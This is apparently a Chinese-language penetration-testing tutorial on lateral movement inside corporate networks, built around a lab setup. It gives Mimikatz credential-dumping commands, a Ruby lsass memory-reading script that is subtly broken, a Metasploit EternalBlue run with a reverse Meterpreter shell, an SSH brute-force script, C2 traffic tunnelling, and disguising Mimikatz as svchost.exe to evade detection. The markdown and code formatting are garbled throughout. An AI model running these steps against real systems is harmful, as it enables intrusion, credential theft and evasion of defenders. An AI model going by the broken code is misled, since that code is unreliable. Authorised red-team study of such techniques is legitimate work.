<pre><code class="language-markdown">## 一、横向移动的起点:从外到内的渗透逻辑

在内网渗透攻击中,横向移动是实现攻击目标的关键环节。所谓横向移动,是指在成功入侵初始设备后,通过各种技术手段在目标内网中寻找更多的机器以扩大攻击面的过程。通常我们会面临以下几个场景:

  1. 初始设备权限有限,无法直接访问敏感系统。
  2. 内网中存在多种操作系统设备,例如 Windows/Linux 混合环境。
  3. 网络访问受限,如 VLAN 或防火墙规则隔离。

从攻击者视角来看,横向移动的目标是尽可能地获取更高权限的账户信息,并扩展到更多的系统。以下是几个常见的横向移动手段:

  • 凭证窃取与利用:通过抓取内存中的明文密码或哈希值,冒充合法用户访问其他系统。
  • 漏洞利用:在目标设备中发现可用漏洞,通过漏洞实现远程代码执行,接管机器。
  • 恶意软件传播:将自编的载荷投放到目标设备中,自动扩散或触发后续攻击。

接下来,我们将从攻击原理开始拆解横向移动的核心机制,并逐步展示如何在一个模拟环境中完成攻击链的构造。

---

二、搭建你的实验环境:模拟真实内网

为了验证横向移动技术的有效性,需要搭建一个多设备的内网环境。这里我们选用 VirtualBox 来虚拟化环境,并使用以下配置:

  1. 目标网络结构
  • 子网 1:192.168.1.0/24
  • 子网 2:192.168.2.0/24
  • 防火墙模拟:在两子网间添加一台 pfSense 虚拟机。
  1. 设备清单
  • 一台 Windows Server 2019(域控服务器)
  • 一台 Windows 10(普通用户工作站)
  • 一台 Ubuntu 22.04(Linux 应用服务器)
  • 一台 Kali Linux(攻击机)
  1. 工具准备
  • Windows 上安装 Mimikatz(用于凭证窃取)
  • Linux 上安装 Impacket(用于 SMB 和 Kerberos 协议攻击)
  • 攻击者机器安装 Metasploit 或 Cobalt Strike。

以下是实验环境的网络配置脚本(以 pfSense 和虚拟机为例): </code></pre>shell

配置 pfSense 两个网卡分别连接两个子网

网卡1 (SubNet1) 配置为 192.168.1.1/24

网卡2 (SubNet2) 配置为 192.168.2.1/24

ifconfig vtnet0 192.168.1.1 netmask 255.255.255.0 ifconfig vtnet1 192.168.2.1 netmask 255.255.255.0

配置 VirtualBox NAT 网络

VBoxManage natnetwork modify --netname "TestNet" --network "192.168.1.0/24" --enable VBoxManage natnetwork modify --netname "TestNet2" --network "192.168.2.0/24" --enable <pre><code> 实验环境搭建完成后,我们将在后续章节进行具体攻击演示。

---

三、初始突破:抓取凭证的艺术

在内网环境中,横向移动通常以凭证窃取为起点。攻击者获取到初始设备后,可以使用工具或手段抓取用户的认证信息,以下是核心方法:

1. 使用 Mimikatz 提取凭证

Mimikatz 是横向移动领域中最经典的工具之一,支持提取 Windows 中的明文凭证和哈希。以下是一个典型的 Mimikatz操作: </code></pre>powershell

启动 mimikatz,使用 sekurlsa::logonpasswords 提取当前用户凭证

privilege::debug sekurlsa::logonpasswords <pre><code> 运行结果可能包括明文密码、NTLM 哈希以及 Kerberos 票据。攻击者可以通过 Impacket 工具将这些凭证转化为实际攻击能力。

2. 内存抓取技术的 Ruby 实现

如果目标环境阻止了 Mimikatz 的运行,我们可以使用自写的 Ruby 脚本直接从 lsass.exe 进程中提取凭证: </code></pre>ruby require 'win32/process'

找到 lsass.exe 的 PID

lsass_pid = tasklist | findstr lsass.split[1].to_i

打开目标进程并抓取内存

handle = Process.open(lsass_pid, Process::PROCESS_VM_READ | Process::PROCESS_QUERY_INFORMATION) buffer = handle.read_memory(0x1000, 0x2000) # 假设凭证在内存范围内 puts buffer <pre><code> 此脚本通过调用 Windows API 的方式实现内存抓取,适合绕过部分终端保护措施。

---

四、漏洞利用:目标设备的接管

在获得内网初始 foothold 后,利用漏洞进行横向攻击是另一种有效手段。以下是实战中常见的漏洞攻击:

1. 利用 SMB 协议的 EternalBlue 漏洞

EternalBlue 是一个著名的 Windows SMBv1 协议漏洞,可以实现远程代码执行。以下是一个攻击实例: </code></pre>shell use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.103 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 exploit <pre><code> 黑客示意图

成功后,攻击者可以直接获得目标设备的 Meterpreter 会话。

2. Linux 的 SSH 密钥猜解

对于 Linux 服务器,可以尝试暴力破解或窃取 SSH 密钥文件:

黑客示意图 </code></pre>ruby require 'net/ssh'

定义目标和用户名

host = '192.168.2.101' user = 'root' password_list = ['123456', 'password', 'root123']

暴力破解

password_list.each do |password| begin Net::SSH.start(host, user, password: password) do |ssh| puts "成功登录: #{user}@#{host} 密码为: #{password}" end rescue next end end <pre><code> 通过这个脚本,攻击者能够实现对 Linux 设备的暴力破解。

---

五、横向移动后如何隐藏:流量伪装技术

成功实现横向移动后,攻击者需要对自己的行为进行伪装以避免被检测到。以下是几种实战中有效的隐藏技巧:

1. 流量加密与伪装

使用 HTTPS 或 DNS 隧道技术隐藏攻击流量: </code></pre>shell

使用 stunnel 加密 C2 流量

stunnel /etc/stunnel/stunnel.conf <pre><code>

2. 文件名与路径混淆

将恶意工具伪装为系统文件并放置于关键路径: </code></pre>shell mv mimikatz.exe C:\Windows\System32\svchost.exe attrib +s +h C:\Windows\System32\svchost.exe <pre><code> ---

六、防御视角中的反制思路

尽管横向移动技术非常强大,企业防御团队仍可以通过以下手段进行反制:

  • 强化主机日志审计:监控 Mimikatz 和其它工具的行为特征。
  • 网络流量分析:使用 IDS 检测异常流量,例如 DNS 隧道。
  • 权限控制:降低默认用户权限,确保凭证无法轻易提取。

---

七、经验分享:实战中的注意事项

  1. 设备权限差异化:在横向移动中,不同权限的设备可能导致攻击链中断,提前规划攻击路径。
  2. 工具的免杀与对抗:许多红队工具已被 EDR 检测,定制开发更为重要。
  3. 安全测试与合法性:请务必确保所有测试都在授权范围内进行。

黑客示意图

---</code></pre>